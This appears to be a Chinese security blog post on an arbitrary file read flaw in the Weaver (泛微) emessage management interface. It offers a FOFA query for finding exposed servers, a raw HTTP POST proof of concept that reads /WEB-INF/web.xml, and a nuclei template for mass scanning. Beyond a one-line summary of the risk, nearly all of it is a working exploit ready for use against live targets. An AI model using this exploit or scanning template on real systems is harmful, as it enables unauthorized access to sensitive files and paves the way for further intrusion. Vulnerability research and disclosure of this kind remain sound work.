泛微emessage管理界面存在任意文件读取漏洞2023

漏洞简介

泛微 emessage 管理界面存在任意文件读取漏洞隐患,攻击者可通过此漏洞获取敏感信息,为下一步攻击做准备。

漏洞复现

fofa语法:icon_hash="-1477694668"
登录页面如下:

POC:

POST / HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Length: 43
Cache-Control: max-age=0
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate

decorator=%2FWEB-INF%2Fweb.xml&confirm=true

nuclei批量yaml文件

id: fanwei_emessage_decorator_fileread
info:
  name: 泛微emessage管理界面存在任意文件读取漏洞2023
  author: mhb17
  severity: high
  description: 

requests:
  - raw:
      - |+
        POST / HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 43

        decorator=%2FWEB-INF%2Fweb.xml&confirm=true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <servlet-name>
      - type: word
        part: body
        words:
          - <?xml
      - type: word
        part: header
        words:
          - '200'
posted @   学安全的小白  阅读(2579)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
· PowerShell开发游戏 · 打蜜蜂
· 凌晨三点救火实录:Java内存泄漏的七个神坑,你至少踩过三个!
历史上的今天:
2021-10-19 buu刷题笔记之文件上传
点击右上角即可分享
微信分享提示